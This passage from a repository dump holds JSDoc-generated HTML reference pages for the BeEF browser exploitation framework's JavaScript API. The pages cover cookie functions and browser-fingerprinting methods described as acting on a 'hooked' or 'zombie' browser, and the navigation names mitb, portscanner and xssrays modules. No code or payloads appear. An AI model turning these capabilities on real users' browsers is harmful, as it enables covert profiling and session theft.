class=\"param-desc\">\n    <p>-1</p>\n</div>\n\n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">number</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".status_success\"><span class=\"type-signature\">(static) </span>status_success<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {number}</span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>A function for handling a success status</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"are.js.html\">are.js</a>, <a href=\"are.js.html#line13\">line 13</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n<div class=\"param-desc\">\n    <p>1</p>\n</div>\n\n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">number</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".status_unknown\"><span class=\"type-signature\">(static) </span>status_unknown<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {number}</span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>A function for handling an unknown status</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"are.js.html\">are.js</a>, <a href=\"are.js.html#line22\">line 22</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n<div class=\"param-desc\">\n    <p>0</p>\n</div>\n\n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">number</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n    \n\n    \n\n    \n</article>\n\n</section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li></ul><h3>Global</h3><ul><li><a href=\"global.html#platform\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 4.0.4</a> on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>"
  },
  {
    "path": "docs/beef.browser.cookie.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Namespace: cookie</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Namespace: cookie</h1>\n\n    \n\n\n\n\n<section>\n\n<header>\n    \n        <h2>\n            <span class=\"ancestors\"><a href=\"beef.browser.html\">.browser</a>.</span>cookie</h2>\n        \n    \n</header>\n\n<article>\n    <div class=\"container-overview\">\n    \n        \n            <div class=\"description\"><p>Provides fuctions for working with cookies.\nSeveral functions adopted from http://techpatterns.com/downloads/javascript_cookies.php\nOriginal author unknown.</p></div>\n        \n\n        \n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser_cookie.js.html\">browser/cookie.js</a>, <a href=\"browser_cookie.js.html#line7\">line 7</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n        \n    \n    </div>\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n        <h3 class=\"subsection-title\">Methods</h3>\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".cookieValueRandomizer\"><span class=\"type-signature\">(static) </span>cookieValueRandomizer<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser_cookie.js.html\">browser/cookie.js</a>, <a href=\"browser_cookie.js.html#line75\">line 75</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".deleteCookie\"><span class=\"type-signature\">(static) </span>deleteCookie<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser_cookie.js.html\">browser/cookie.js</a>, <a href=\"browser_cookie.js.html#line66\">line 66</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".getCookie\"><span class=\"type-signature\">(static) </span>getCookie<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser_cookie.js.html\">browser/cookie.js</a>, <a href=\"browser_cookie.js.html#line35\">line 35</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".hasPersistentCookies\"><span class=\"type-signature\">(static) </span>hasPersistentCookies<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser_cookie.js.html\">browser/cookie.js</a>, <a href=\"browser_cookie.js.html#line111\">line 111</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".hasSessionCookies\"><span class=\"type-signature\">(static) </span>hasSessionCookies<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser_cookie.js.html\">browser/cookie.js</a>, <a href=\"browser_cookie.js.html#line102\">line 102</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".setCookie\"><span class=\"type-signature\">(static) </span>setCookie<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser_cookie.js.html\">browser/cookie.js</a>, <a href=\"browser_cookie.js.html#line16\">line 16</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n    \n\n    \n\n    \n</article>\n\n</section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li></ul><h3>Global</h3><ul><li><a href=\"global.html#platform\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 4.0.4</a> on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>"
  },
  {
    "path": "docs/beef.browser.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Namespace: browser</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Namespace: browser</h1>\n\n    \n\n\n\n\n<section>\n\n<header>\n    \n        <h2>browser</h2>\n        \n    \n</header>\n\n<article>\n    <div class=\"container-overview\">\n    \n        \n            <div class=\"description\"><p>Basic browser functions.</p></div>\n        \n\n        \n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line7\">line 7</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n        \n    \n    </div>\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n        <h3 class=\"subsection-title\">Namespaces</h3>\n\n        <dl>\n            <dt><a href=\"beef.browser.cookie.html\">cookie</a></dt>\n            <dd></dd>\n        \n            <dt><a href=\"beef.browser.popup.html\">popup</a></dt>\n            <dd></dd>\n        </dl>\n    \n\n    \n\n    \n        <h3 class=\"subsection-title\">Methods</h3>\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".changeFavicon\"><span class=\"type-signature\">(static) </span>changeFavicon<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Dynamically changes the favicon: works in Firefox, Chrome and Opera</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line4561\">line 4561</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".changePageTitle\"><span class=\"type-signature\">(static) </span>changePageTitle<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Changes page title</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line4582\">line 4582</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".getBrowserEngine\"><span class=\"type-signature\">(static) </span>getBrowserEngine<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns the underlying layout engine in use by the browser.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line33\">line 33</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".getBrowserLanguage\"><span class=\"type-signature\">(static) </span>getBrowserLanguage<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Get the browser language</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line4589\">line 4589</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".getBrowserName\"><span class=\"type-signature\">(static) </span>getBrowserName<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns the type of user agent by hooked browser.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line3662\">line 3662</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".getBrowserReportedName\"><span class=\"type-signature\">(static) </span>getBrowserReportedName<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns the user agent that the browser is claiming to be.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line25\">line 25</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".getBrowserVersion\"><span class=\"type-signature\">(static) </span>getBrowserVersion<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns the major version of the browser being used.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line2772\">line 2772</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".getDetails\"><span class=\"type-signature\">(static) </span>getDetails<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Construct hash from browser details. This function is used to grab the browser details during the hooking process</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line4225\">line 4225</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".getMaxConnections\"><span class=\"type-signature\">(static) </span>getMaxConnections<span class=\"signature\">()</span><span class=\"type-signature\"> &rarr; {Object}</span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>A function that gets the max number of simultaneous connections the\nbrowser can make per origin, or globally on all origin.</p>\n<p>This code is based on research from browserspy.dk</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line4611\">line 4611</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<h5>Returns:</h5>\n\n        \n<div class=\"param-desc\">\n    <p>A jQuery deferred object promise, which when resolved passes\nthe number of connections to the callback function as &quot;this&quot;</p>\n</div>\n\n\n\n<dl>\n    <dt>\n        Type\n    </dt>\n    <dd>\n        \n<span class=\"param-type\">Object</span>\n\n\n    </dd>\n</dl>\n\n    \n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".getPageBody\"><span class=\"type-signature\">(static) </span>getPageBody<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns the page body HTML</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line4549\">line 4549</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".getPageHead\"><span class=\"type-signature\">(static) </span>getPageHead<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns the page head HTML</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line4537\">line 4537</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".getPlugins\"><span class=\"type-signature\">(static) </span>getPlugins<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns the list of plugins installed in the browser.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line3958\">line 3958</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".getPluginsIE\"><span class=\"type-signature\">(static) </span>getPluginsIE<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns a list of plugins detected by IE. This is a hack because IE doesn't\nsupport navigator.plugins</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line4126\">line 4126</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".getProtocol\"><span class=\"type-signature\">(static) </span>getProtocol<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns the protocol.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line17\">line 17</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".getWindowSize\"><span class=\"type-signature\">(static) </span>getWindowSize<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns zombie browser window size.</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line4201\">line 4201</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".hasActiveX\"><span class=\"type-signature\">(static) </span>hasActiveX<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Returns boolean value depending on whether the browser supports ActiveX</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line4370\">line 4370</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    \n</dl>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n        \n            \n\n    \n\n    \n    <h4 class=\"name\" id=\".hasCors\"><span class=\"type-signature\">(static) </span>hasCors<span class=\"signature\">()</span><span class=\"type-signature\"></span></h4>\n    \n\n    \n\n\n\n<div class=\"description\">\n    <p>Checks if the browser supports CORS</p>\n</div>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<dl class=\"details\">\n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n\n    \n    <dt class=\"tag-source\">Source:</dt>\n    <dd class=\"tag-source\"><ul class=\"dummy\"><li>\n        <a href=\"browser.js.html\">browser.js</a>, <a href=\"browser.js.html#line3918\">line 3918</a>\n    </li></ul></dd>\n    \n\n    \n\n    \n\n    